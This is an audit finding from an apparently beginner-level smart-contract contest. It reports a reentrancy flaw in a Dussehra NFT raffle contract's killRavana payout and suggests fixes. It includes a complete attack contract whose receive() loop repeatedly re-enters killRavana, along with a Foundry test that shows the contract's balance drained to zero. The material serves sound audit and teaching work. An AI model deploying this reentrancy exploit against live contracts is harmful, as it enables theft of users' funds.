Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

`RamNFT::organiser` can exploit `Dussehra::killRavana` and drain all funds with reentrancy attack

Summary

This is an NFT protocol that aims to share the mint fees between the RamNFT::organiser and ChoosingRam::selectedRam. The function Dussehra::killRavana handles dividing the mint fees and sending half to the RamNFT::organiser:

function killRavana() public RamIsSelected {
if (block.timestamp < 1728691069) {
//@auditTIME Friday, October 11, 2024 11:57:49 PM GMT
revert Dussehra__MahuratIsNotStart();
}
if (block.timestamp > 1728777669) {
//@auditTIME Sunday, October 13, 2024 12:01:09 AM GMT
revert Dussehra__MahuratIsFinished();
}
IsRavanKilled = true;
uint256 totalAmountByThePeople = WantToBeLikeRam.length * entranceFee;
totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
(bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
require(success, "Failed to send money to organiser");
}
  • The function can only be called if ChoosingRam::isRamSelected is true

  • The function can only be called within a certain time frame, and it can be called by anyone

  • The fee is divided and half the amount is immediately transferred to RamNFT::organiser

  • The other half is claimed by ChoosingRam::selectedRam through the Dussehra::withdraw function

A malicious contract can act as the organizer and drain all the funds.

Vulnerability Details

Dussehra::killRavana distributes funds to RamNFT::organiser making an external call. If RamNFT::organiser is a malicious contract, it can drain all the funds.



Attack Contract:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
interface IChoosingRam {
function selectRamIfNotSelected() external;
}
interface IDussehra {
function killRavana() external;
}
contract OrganizerReenter {
address private immutable owner;
IChoosingRam choosingRam;
IDussehra dussehra;
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
constructor() {
owner = msg.sender;
}
function setContracts(address _dussehra, address _chooingRam) public onlyOwner{
dussehra = IDussehra(_dussehra);
choosingRam = IChoosingRam(_chooingRam);
}
function attack() public onlyOwner {
choosingRam.selectRamIfNotSelected();
}
function withdraw() public onlyOwner {
(bool success, ) = msg.sender.call{value: address(this).balance}("");
if (!success) {
revert();
}
}
receive() external payable {
while (address(dussehra).balance > 1 ether) {
dussehra.killRavana();
}
}
}
  • The malicious user pulling the strings will use a contract like this that will function the as RamNFT::organiser

  • This attack contract will end up being the deployer for RamNFT giving it RamNFT::onlyOrganiser privileges.

  • RamNFT::onlyOrganiser is able to set the ChoosingRam contract and call ChoosingRam::selectRamIfNotSelected

The malicious user can call OrganizerReenter::attack

function attack() public onlyOwner {
choosingRam.selectRamIfNotSelected();
}
  • The attack contract can call a very important function, ChoosingRam::selectRamIfNotSelected, as it will pass the ramNFT.organiser() == msg.sender check

The actual attack occurs in the fallback function:

receive() external payable {
while (address(dussehra).balance > 1 ether) {
dussehra.killRavana();
}
}
  • At some point, the contract will receive ether from Dussehra::killRavana as we saw in the summary section

  • Upon receiving ether, the attack contract will check if the Dussehra contract still has ether.

    • If it does, the contract will call Dussehra::killRavana again

    • This loop will continue until the Dussehra contract has less than 1 ether

Foundry Test to set up attack:

contract OrganizerReenterTest is Test {
Dussehra public dussehra;
RamNFT public ramNFT;
ChoosingRam public choosingRam;
OrganizerReenter attack;
address public rug_organiser = makeAddr("organiser");
uint256 public constant PICK_A_NUMBER = 5;
address[] players = new address[](PICK_A_NUMBER);
function setUp() public {
// organizer deploys attack contract
vm.startPrank(rug_organiser);
attack = new OrganizerReenter();
vm.stopPrank();
// attack contract is used as "organizer"
vm.startPrank(address(attack));
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(1 ether, address(choosingRam), address(ramNFT));
ramNFT.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
// enter the contract
vm.deal(rug_organiser, 10 ether);
vm.startPrank(rug_organiser);
attack.setContracts(address(dussehra), address(choosingRam));
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
}
modifier participants() {
for (uint256 i =0; i< PICK_A_NUMBER; i++) {
string memory stringNumber = vm.toString(i);
players[i] = makeAddr(stringNumber);
vm.deal(players[i], 1 ether);
vm.startPrank(players[i]);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
}
_;
}
  • First, the rug_organiser user will deploy the attack contract gaining onlyOwner privileges

  • Next, the attack contract will deploy RamNFT which will be used to deploy the remaining contracts in the protocol

  • The rest of the set up enters rug_organiser and an arbitrary amount of users into the protocol.

Foundry attack test:

function test_organizerReenterWorks() public participants {
uint256 contractBalance = address(dussehra).balance;
console.log("balanceStart: ", contractBalance);
vm.warp(1728691200 + 1);
vm.startPrank(rug_organiser);
attack.attack();
vm.stopPrank();
contractBalance = address(dussehra).balance;
uint256 RamwinningAmount = dussehra.totalAmountGivenToRam();
console.log("balance2: ", contractBalance);
console.log("RamwinningAmountStart: ", RamwinningAmount);
vm.startPrank(rug_organiser);
dussehra.killRavana();
vm.stopPrank();
contractBalance = address(dussehra).balance;
RamwinningAmount = dussehra.totalAmountGivenToRam();
console.log("balanceEnd: ", contractBalance);
console.log("RamwinningAmountEnd: ", RamwinningAmount);
}
// balanceStart: 6000000000000000000
// balance2: 6000000000000000000
// RamwinningAmountStart: 0
// balanceEnd: 0
// RamwinningAmountEnd: 3000000000000000000
  • The attack simulates the rug_organiser calling OrganizerReenter::attack() to make sure ChoosingRam::isRamSelected is true

  • Then the rug_organiser (or anyone) calls the Dussehra::killRavana() function which starts the attack be interaction with the OrganizerReenter::receive() function

  • The contract will be drained of all funds while Dussehra::totalAmountGivenToRam will still display 50% of the mint fees

Impact

This is a high risk vulnerability that allows RamNFT::organiser to take all the funds.

The vulnerability has a profound impact on the protocol. The goal of the protocol is to split the total mint fees between RamNFT::organiser and ChoosingRam::selectedRam. Instead, with little effort, RamNFT::organiser is able steal all the funds. The protocol chooses to distribute funds to RamNFT::organiser through the Dussehra:: killRavana() function opening the door for a reentrancy attack.

While this protocol is designed to be a sort of raffle, the impact of the bug turns the protocol into an easy rug for the malicious organizer.

Tools Used

  • Manual Review

  • Foundry

Recommendations

There are a few ways to avoid this vulnerability.

Make sure that the deployer of RamNFT is not a contract

RamNFT

function _isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}

RamNFT::constructor()

constructor() ERC721("RamNFT", "RAM") {
+ if (_isContract(msg.sender)) {
+ revert();
+ }
tokenCounter = 0;
organiser = msg.sender;
}
B) Use OpenZeppelin Security Libraries implementing ReentrancyGuard or Pausable
C) Or, just create a separate withdraw function
contract Dussehra {
+ uint256 public totalAmountGivenToOrganizer;
function killRavana() public RamIsSelected {
...
uint256 totalAmountByThePeople = WantToBeLikeRam.length * entranceFee;
totalAmountGivenToRam = (totalAmountByThePeople * 50) / 100;
+ totalAmountGivenToOrganizer = (totalAmountByThePeople * 50) / 100;
- (bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
- require(success, "Failed to send money to organiser");
}
+ function organizerWithdraw() public RamIsSelected RavanKilled {
+ if (msg.sender!= organiser) {
+ revert();
+ }
+ uint256 amount = totalAmountGivenToOrganizer;
+ totalAmountGivenToOrganizer = 0;
+ (bool success, ) = msg.sender.call{value: amount}("");
+ if (!success) {
+ revert()
+ }
+ }
}
Updates

Lead Judging Commences

bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

isRavanKilled is not checked

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.